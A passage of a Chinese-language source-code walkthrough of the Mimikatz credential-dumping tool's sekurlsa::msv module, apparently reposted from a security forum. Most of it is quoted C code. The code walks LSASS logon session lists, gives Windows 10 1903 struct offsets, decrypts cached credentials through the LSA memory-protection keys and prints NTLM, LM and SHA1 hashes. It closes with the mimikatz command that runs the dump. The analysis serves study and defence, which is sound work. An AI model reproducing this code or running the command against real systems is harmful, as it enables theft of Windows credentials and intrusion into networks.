if((cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_7) && (cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE) && (kuhl_m_sekurlsa_msv_package.Module.Informations.TimeDateStamp > 0x53480000))
helper++; // yeah, really, I do that =)

securityStruct.hMemory = cLsass.hLsassMem;
if(securityStruct.address = LogonSessionListCount)
// 把 LogonSessionListCount 复制到 nbListes 中
kull_m_memory_copy(&data, &securityStruct, sizeof(ULONG));

// for(i = 0; i < LogonSessionListCount; i++)
for(i = 0; i < nbListes; i++)
{
securityStruct.address = &LogonSessionList[i];
data.address = &pStruct;
data.hMemory = &KULL_M_MEMORY_GLOBAL_OWN_HANDLE;
if(aBuffer.address = LocalAlloc(LPTR, helper->tailleStruct))
{
// 把 LogonSessionList[i] 复制到 pStruct 指向的内存中
if(kull_m_memory_copy(&data, &securityStruct, sizeof(PVOID)))
{
data.address = pStruct;
data.hMemory = securityStruct.hMemory;

// while((pStruct != &LogonSessionList[i]) && retCallback)
while((data.address != securityStruct.address) && retCallback)
{
// 把 LogonSessionList[i](pStruct)复制到 aBuffer.address 指向的内存中
if(kull_m_memory_copy(&aBuffer, &data, helper->tailleStruct))
{
sessionData.LogonId = (PLUID) ((PBYTE) aBuffer.address + helper->offsetToLuid);
sessionData.LogonType = *((PULONG) ((PBYTE) aBuffer.address + helper->offsetToLogonType));
sessionData.Session = *((PULONG) ((PBYTE) aBuffer.address + helper->offsetToSession));
sessionData.UserName = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToUsername);
sessionData.LogonDomain = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToDomain);
sessionData.pCredentials= *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentials);
sessionData.pSid = *(PSID *) ((PBYTE) aBuffer.address + helper->offsetToPSid);
sessionData.pCredentialManager = *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentialManager);
sessionData.LogonTime = *((PFILETIME) ((PBYTE) aBuffer.address + helper->offsetToLogonTime));
sessionData.LogonServer = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToLogonServer);

kull_m_process_getUnicodeString(sessionData.UserName, cLsass.hLsassMem);
kull_m_process_getUnicodeString(sessionData.LogonDomain, cLsass.hLsassMem);
kull_m_process_getUnicodeString(sessionData.LogonServer, cLsass.hLsassMem);
kull_m_process_getSid(&sessionData.pSid, cLsass.hLsassMem);
// callback 为 kuhl_m_sekurlsa_enum_callback_logondata
retCallback = callback(&sessionData, pOptionalData);

if(sessionData.UserName->Buffer)
LocalFree(sessionData.UserName->Buffer);
if(sessionData.LogonDomain->Buffer)
LocalFree(sessionData.LogonDomain->Buffer);
if(sessionData.LogonServer->Buffer)
LocalFree(sessionData.LogonServer->Buffer);
if(sessionData.pSid)
LocalFree(sessionData.pSid);

data.address = ((PLIST_ENTRY) (aBuffer.address))->Flink;
}
else break;
}
}
LocalFree(aBuffer.address);
}
}
}

这里先根据 BuildNumber 中的系统版本,从 lsassEnumHelpers 中选择适合的条目,这是一个 KUHL_M_SEKURLSA_ENUM_HELPER 结构体的数组,用于保存用户的各种信息在 KIWI_MSV1_0_LIST_63 中的偏移量,其声明如下。

typedef struct _KUHL_M_SEKURLSA_ENUM_HELPER {
SIZE_T tailleStruct;
ULONG offsetToLuid;
ULONG offsetToLogonType;
ULONG offsetToSession;
ULONG offsetToUsername;
ULONG offsetToDomain;
ULONG offsetToCredentials;
ULONG offsetToPSid;
ULONG offsetToCredentialManager;
ULONG offsetToLogonTime;
ULONG offsetToLogonServer;
} KUHL_M_SEKURLSA_ENUM_HELPER, *PKUHL_M_SEKURLSA_ENUM_HELPER;

在 Windows 10 x64 1903 系统中,Mimikatz 使用的条目如下:

{sizeof(KIWI_MSV1_0_LIST_63), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Session), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LogonServer)}

然后通过遍历 LogonSessionList 依次得到用户名、域名、凭据、SID、登录时间以及登录到的服务器等信息,并将让它们临时保存在 sessionData 中,这是一个 KIWI_BASIC_SECURITY_LOGON_SESSION_DATA 结构体,其声明如下。

typedef struct _KIWI_BASIC_SECURITY_LOGON_SESSION_DATA {
PKUHL_M_SEKURLSA_CONTEXT cLsass;
const KUHL_M_SEKURLSA_LOCAL_HELPER * lsassLocalHelper;
PLUID LogonId;
PLSA_UNICODE_STRING UserName;
PLSA_UNICODE_STRING LogonDomain;
ULONG LogonType;
ULONG Session;
PVOID pCredentials;
PSID pSid;
PVOID pCredentialManager;
FILETIME LogonTime;
PLSA_UNICODE_STRING LogonServer;
} KIWI_BASIC_SECURITY_LOGON_SESSION_DATA, *PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA;

最后将 &sessionData 和 pOptionalData 传入回调函数 kuhl_m_sekurlsa_enum_callback_logondata()

Print Basic User Information

跟进 kuhl_m_sekurlsa_enum_callback_logondata() 函数:

  • sekurlsa\kuhl_m_sekurlsa.c

BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_logondata(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
{
PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA pLsassData = (PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA) pOptionalData;
ULONG i;
//PDWORD sub = NULL;
if((pData->LogonType != Network))
{
kuhl_m_sekurlsa_printinfos_logonData(pData);
// 遍历 pLsassData 中的所有 lsass 包,这里只有一个 kuhl_m_sekurlsa_msv_package
for(i = 0; i < pLsassData->nbPackages; i++)
{
if(pLsassData->lsassPackages[i]->Module.isPresent && lsassPackages[i]->isValid)
{
kprintf(L"\t%s :\t", pLsassData->lsassPackages[i]->Name);
// CredsForLUIDFunc 为 kuhl_m_sekurlsa_enum_logon_callback_msv
pLsassData->lsassPackages[i]->CredsForLUIDFunc(pData);
kprintf(L"\n");
}
}
}
return TRUE;
}

在该函数中,先判断登录类型是否是 Network,如果不是,则对传入的用户登录信息 pData 调用 kuhl_m_sekurlsa_printinfos_logonData() 函数。

跟进 kuhl_m_sekurlsa_printinfos_logonData() 函数:

  • sekurlsa\kuhl_m_sekurlsa.c

void kuhl_m_sekurlsa_printinfos_logonData(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData)
{
kprintf(L"\nAuthentication Id : %u ; %u (%08x:%08x)\n"
L"Session : %s from %u\n"
L"User Name : %wZ\n"
L"Domain : %wZ\n"
L"Logon Server : %wZ\n"
, pData->LogonId->HighPart, pData->LogonId->LowPart, pData->LogonId->HighPart, pData->LogonId->LowPart, KUHL_M_SEKURLSA_LOGON_TYPE[pData->LogonType], pData->Session, pData->UserName, pData->LogonDomain, pData->LogonServer);

kprintf(L"Logon Time : ");
kull_m_string_displayLocalFileTime(&pData->LogonTime);
kprintf(L"\n");

kprintf(L"SID : ");
if(pData->pSid)
kull_m_string_displaySID(pData->pSid);
kprintf(L"\n");
}

在该函数中打印用户的会话、用户名、域名、登录到的服务器、登陆时间以及 SID 登信息。

回到 kuhl_m_sekurlsa_enum_callback_logondata() 函数中,继续对 pData 调用 lsass 包中的 CredsForLUIDFunc 指向的函数,在这里是 kuhl_m_sekurlsa_enum_logon_callback_msv() 函数。

Print Credentials Information

跟进 kuhl_m_sekurlsa_enum_logon_callback_msv() 函数:

  • sekurlsa\packages\kuhl_m_sekurlsa_msv1_0.c

void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_msv(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData)
{
kuhl_m_sekurlsa_msv_enum_cred(pData->cLsass, pData->pCredentials, kuhl_m_sekurlsa_msv_enum_cred_callback_std, pData);
}

直接调用了 kuhl_m_sekurlsa_msv_enum_cred() 函数,并将 pData->pCredentials 传入该函数中进行凭据处理。

Handle Credentials Structure

跟进 kuhl_m_sekurlsa_msv_enum_cred() 函数:

  • sekurlsa\packages\kuhl_m_sekurlsa_msv1_0.c

VOID kuhl_m_sekurlsa_msv_enum_cred(IN PKUHL_M_SEKURLSA_CONTEXT cLsass, IN PVOID pCredentials, IN PKUHL_M_SEKURLSA_MSV_CRED_CALLBACK credCallback, IN PVOID optionalData)
{
KIWI_MSV1_0_CREDENTIALS credentials;
KIWI_MSV1_0_PRIMARY_CREDENTIALS primaryCredentials;
KULL_M_MEMORY_ADDRESS aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aLsassMemory = {pCredentials, cLsass->hLsassMem};

while(aLsassMemory.address)
{
aLocalMemory.address = &credentials;
// 把 pData->pCredentials 复制到 credentials 指向的内存中
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_MSV1_0_CREDENTIALS)))
{
aLsassMemory.address = credentials.PrimaryCredentials;
while(aLsassMemory.address)
{
aLocalMemory.address = &primaryCredentials;
// 把 pCredentials.PrimaryCredentials 复制到 primaryCredentials 指向的内存中
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)))
{
// primaryCredentials.Credentials.Buffer 指向搜寻目标缓存凭据的地址
aLsassMemory.address = primaryCredentials.Credentials.Buffer;
if(kull_m_process_getUnicodeString(&primaryCredentials.Credentials, cLsass->hLsassMem))
{
if(kull_m_process_getUnicodeString((PUNICODE_STRING) &primaryCredentials.Primary, cLsass->hLsassMem))
{
// credCallback 为 kuhl_m_sekurlsa_msv_enum_cred_callback_std
credCallback(cLsass, &primaryCredentials, credentials.AuthenticationPackageId, &aLsassMemory, optionalData);
LocalFree(primaryCredentials.Primary.Buffer);
}
LocalFree(primaryCredentials.Credentials.Buffer);
}
} else kprintf(L"n.e. (KIWI_MSV1_0_PRIMARY_CREDENTIALS KO)");
aLsassMemory.address = primaryCredentials.next;
}
aLsassMemory.address = credentials.next;
} else kprintf(L"n.e. (KIWI_MSV1_0_CREDENTIALS KO)");
}
}

回顾前文,我们在枚举 KIWI_MSV1_0_LIST_63 结构体时可以看到,凭据属性 Credentials 在该结构中的偏移量为 0x108,这是一个 PKIWI_MSV1_0_CREDENTIALS 结构体,其声明如下。

typedef struct _KIWI_MSV1_0_CREDENTIALS {
struct _KIWI_MSV1_0_CREDENTIALS *next;
DWORD AuthenticationPackageId;
PKIWI_MSV1_0_PRIMARY_CREDENTIALS PrimaryCredentials;
} KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS;

KIWI_MSV1_0_CREDENTIALS 的 0x10 偏移量处的 PrimaryCredentials 是一个指向 KIWI_MSV1_0_PRIMARY_CREDENTIALS 结构体的指针,其声明如下。

typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS {
struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS *next;
ANSI_STRING Primary; // 'Primary'
LSA_UNICODE_STRING Credentials;
} KIWI_MSV1_0_PRIMARY_CREDENTIALS, *PKIWI_MSV1_0_PRIMARY_CREDENTIALS;

其中 Primary 的值是一个签名字符串 ”Primary“,类似于 KIWI_BCRYPT_HANDLE_KEY 中的 tag,这可以在内存中看到,如下图所示。而 Credentials 中就保存了加密的用户哈希凭据,该结构中的 Buffer 指向缓存凭据的内存地址。

回到 kuhl_m_sekurlsa_msv_enum_cred() 函数中,经过几次 kull_m_memory_copy() 调用后,将 &primaryCredentials 和 credentials.AuthenticationPackageId 传入回调函数,在这里是 kuhl_m_sekurlsa_msv_enum_cred_callback_std() 函数,该函数定义如下。

BOOL CALLBACK kuhl_m_sekurlsa_msv_enum_cred_callback_std(IN PKUHL_M_SEKURLSA_CONTEXT cLsass, IN PKIWI_MSV1_0_PRIMARY_CREDENTIALS pCredentials, IN DWORD AuthenticationPackageId, IN PKULL_M_MEMORY_ADDRESS origBufferAddress, IN OPTIONAL LPVOID pOptionalData)
{
DWORD flags = KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIAL;
kprintf(L"\n\t [%08x] %Z", AuthenticationPackageId, &pCredentials->Primary);
if(RtlEqualString(&pCredentials->Primary, &PRIMARY_STRING, FALSE)) // 进入
flags |= KUHL_SEKURLSA_CREDS_DISPLAY_PRIMARY;
else if(RtlEqualString(&pCredentials->Primary, &CREDENTIALKEYS_STRING, FALSE))
flags |= KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY;
kuhl_m_sekurlsa_genericCredsOutput((PKIWI_GENERIC_PRIMARY_CREDENTIAL) &pCredentials->Credentials, (PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA) pOptionalData, flags);
return TRUE;
}

首先根据 PrimaryCredentials 结构中的 Primary 类型设置 flags 值,接着将 PrimaryCredentials 中的 Credentials 传入 kuhl_m_sekurlsa_genericCredsOutput() 函数。

Credentials 中 Buffer 指向缓存凭据的加密内存,该内存解密后的结构因系统版本而异,在 Windows 10 x64 1903 系统中的结构如下。

typedef struct _MSV1_0_PRIMARY_CREDENTIAL_10_1607 {
LSA_UNICODE_STRING LogonDomainName;
LSA_UNICODE_STRING UserName;
PVOID pNtlmCredIsoInProc;
BOOLEAN isIso;
BOOLEAN isNtOwfPassword;
BOOLEAN isLmOwfPassword;
BOOLEAN isShaOwPassword;
BOOLEAN isDPAPIProtected;
BYTE align0;
BYTE align1;
BYTE align2;
DWORD unkD; // 1/2
#pragma pack(push, 2)
WORD isoSize; // 0000
BYTE DPAPIProtected[LM_NTLM_HASH_LENGTH];
DWORD align3; // 00000000
#pragma pack(pop)
BYTE NtOwfPassword[LM_NTLM_HASH_LENGTH];
BYTE LmOwfPassword[LM_NTLM_HASH_LENGTH];
BYTE ShaOwPassword[SHA_DIGEST_LENGTH];
/* buffer */
} MSV1_0_PRIMARY_CREDENTIAL_10_1607, *PMSV1_0_PRIMARY_CREDENTIAL_10_1607;

其中 NtOwfPasswordLmOwfPassword 和 ShaOwPassword 这三个关键的字节序列分别存储了用户的 NT Hash、LM Hash 和 SHA1 散列值,三者在该结构中的偏移量分别是 0x4A0x5A 和 0x6Akuhl_m_sekurlsa_genericCredsOutput() 函数的作用就是根据三种哈希值在内存中的偏移量来取出它们的值,再以 Hex 格式打印出来,该函数定义如下。

VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, ULONG flags)
{
PUNICODE_STRING username = NULL, domain = NULL, password = NULL;
PKIWI_CREDENTIAL_KEYS pKeys = NULL;
PKERB_HASHPASSWORD_GENERIC pHashPassword;
UNICODE_STRING buffer;
DWORD type, i;
BOOL isNull = FALSE;
PWSTR sid = NULL;
PBYTE msvCredentials;
const MSV1_0_PRIMARY_HELPER * pMSVHelper;
#if defined(_M_X64) || defined(_M_ARM64)
// ......
#endif
SHA_CTX shaCtx;
SHA_DIGEST shaDigest;

if(mesCreds)
{
// 将 SID 转换为适合显示的字符串格式
ConvertSidToStringSid(pData->pSid, &sid);
if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIAL)
{
type = flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIAL_MASK;
// Buffer 是指向缓存凭据的内存地址,这里将包含凭据的加密内存指针赋给 msvCredentials
if(msvCredentials = (PBYTE) ((PUNICODE_STRING) mesCreds)->Buffer)
{
if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/)
(*lsassLocalHelper->pLsaUnprotectMemory)(msvCredentials, ((PUNICODE_STRING) mesCreds)->Length);

switch(type)
{
case KUHL_SEKURLSA_CREDS_DISPLAY_PRIMARY:
// 根据系统版本选择适合的内存结构,这里是 MSV1_0_PRIMARY_CREDENTIAL_10_1607
pMSVHelper = kuhl_m_sekurlsa_msv_helper(pData->cLsass);
// 获取并打印凭据信息里的用户名和域名
kull_m_string_MakeRelativeOrAbsoluteString(msvCredentials, (PUNICODE_STRING) (msvCredentials + pMSVHelper->offsetToLogonDomain), FALSE);
kull_m_string_MakeRelativeOrAbsoluteString(msvCredentials, (PUNICODE_STRING) (msvCredentials + pMSVHelper->offsetToUserName), FALSE);
kprintf(L"\n\t * Username : %wZ\n\t * Domain : %wZ", (PUNICODE_STRING) (msvCredentials + pMSVHelper->offsetToUserName), (PUNICODE_STRING) (msvCredentials + pMSVHelper->offsetToLogonDomain));
if(!pMSVHelper->offsetToisIso || !*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisIso))
{
// 获取并打印 LM Hash 值
if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisLmOwfPassword))
{
kprintf(L"\n\t * LM : ");
kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToLmOwfPassword, LM_NTLM_HASH_LENGTH, 0);
}
// 获取并打印 NT Hash 值
if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword))
{
kprintf(L"\n\t * NTLM : ");
kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToNtOwfPassword, LM_NTLM_HASH_LENGTH, 0);
}
// 获取并打印 SHA1 Hash 值
if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword))
{
kprintf(L"\n\t * SHA1 : ");
kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToShaOwPassword, SHA_DIGEST_LENGTH, 0);
}
if(sid && (*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) || *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword)))
kuhl_m_dpapi_oe_credential_add(sid, NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) ? msvCredentials + pMSVHelper->offsetToNtOwfPassword : NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword) ? msvCredentials + pMSVHelper->offsetToShaOwPassword : NULL, NULL, NULL);
}
#if defined(_M_X64) || defined(_M_ARM64)
else
{
// ......
}
#endif
// ......
case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY:
// ......
default:
kprintf(L"\n\t * Raw data : ");
kull_m_string_wprintf_hex(msvCredentials, ((PUNICODE_STRING) mesCreds)->Length, 1);
}
}
}

// ......

if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NEWLINE)
kprintf(L"\n");

if(sid)
LocalFree(sid);
}
else kprintf(L"LUID KO\n");
}

Unprotect Lsa Memory

这里先将包含凭据的加密内存地址赋给 msvCredentials,然后对这块内存调用 lsassLocalHelper->pLsaUnprotectMemory 指向的函数,在这里是 kuhl_m_sekurlsa_nt6_LsaUnprotectMemory() 函数,该函数定义如下。

VOID WINAPI kuhl_m_sekurlsa_nt6_LsaUnprotectMemory(IN PVOID Buffer, IN ULONG BufferSize)
{
kuhl_m_sekurlsa_nt6_LsaEncryptMemory((PUCHAR) Buffer, BufferSize, FALSE);
}

跟进 kuhl_m_sekurlsa_nt6_LsaEncryptMemory() 函数,如下所示,该函数对 BCryptEncrypt() 和 BCryptDecrypt() 函数进行封装,二者利用提供的初始化向量和密钥,分别对指定内存的数据块进行加密和解密。

NTSTATUS kuhl_m_sekurlsa_nt6_LsaEncryptMemory(PUCHAR pMemory, ULONG cbMemory, BOOL Encrypt)
{
NTSTATUS status = STATUS_NOT_FOUND;
BCRYPT_KEY_HANDLE *hKey;
BYTE LocalInitializationVector[16];
ULONG cbIV, cbResult;
PBCRYPT_ENCRYPT cryptFunc = Encrypt ? BCryptEncrypt : BCryptDecrypt;
RtlCopyMemory(LocalInitializationVector, InitializationVector, sizeof(InitializationVector));
if(cbMemory % 8)
{
hKey = &kAes.hKey;
cbIV = sizeof(InitializationVector);
}
else
{
hKey = &k3Des.hKey;
cbIV = sizeof(InitializationVector) / 2;
}
__try
{
status = cryptFunc(*hKey, pMemory, cbMemory, 0, LocalInitializationVector, cbIV, pMemory, cbMemory, &cbResult, 0);
}
__except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){}
return status;
}

在这里由于 Encrypt 参数为 FALSE,因此将利用前文中提取出的初始化向量和密钥,对包含凭据的数据块进行解密。

Print Hashed Credentials

解密后的内存结构由 kuhl_m_sekurlsa_msv_helper() 函数按照系统版本进行选择,这里选的就是 MSV1_0_PRIMARY_CREDENTIAL_10_1607。最后根据 NtOwfPasswordLmOwfPassword 和 ShaOwPassword 在该结构中的偏移量将它们的地址传入 kull_m_string_wprintf_hex() 函数,由 kull_m_string_wprintf_hex() 函数将它们转为字符串后打印出来,该函数定义如下。

void kull_m_string_wprintf_hex(LPCVOID lpData, DWORD cbData, DWORD flags)
{
DWORD i, sep = flags >> 16;
PCWCHAR pType = WPRINTF_TYPES[flags & 0x0000000f];

if((flags & 0x0000000f) == 2)
kprintf(L"\nBYTE data[] = {\n\t");

for(i = 0; i < cbData; i++)
{
kprintf(pType, ((LPCBYTE) lpData)[i]);
if(sep && !((i+1) % sep))
{
kprintf(L"\n");
if((flags & 0x0000000f) == 2)
kprintf(L"\t");
}
}
if((flags & 0x0000000f) == 2)
kprintf(L"\n};\n");
}

至此,整个 sekurlsa::msv 功能执行结束。

mimikatz.exe "privilege::debug" "sekurlsa::msv" exit

转载:https://forum.butian.net/share/2215作者:Marcus_Holloway欢迎大家去去关注作者

 点击下方小卡片或扫描下方二维码观看更多技术文章

师傅们点赞、转发、在看就是最大的支持


文章来源: http://mp.weixin.qq.com/s?__biz=MzkxMDMwNDE2OQ==&mid=2247488917&idx=1&sn=18940402200cc92d5afecbd5274e74cb&chksm=c12c2353f65baa45ed300695bba46bd6010f3fa76a7f2b2e55d71c1c2593cd2a34cce4570e43#rd
如有侵权请联系:admin#unsafe.sh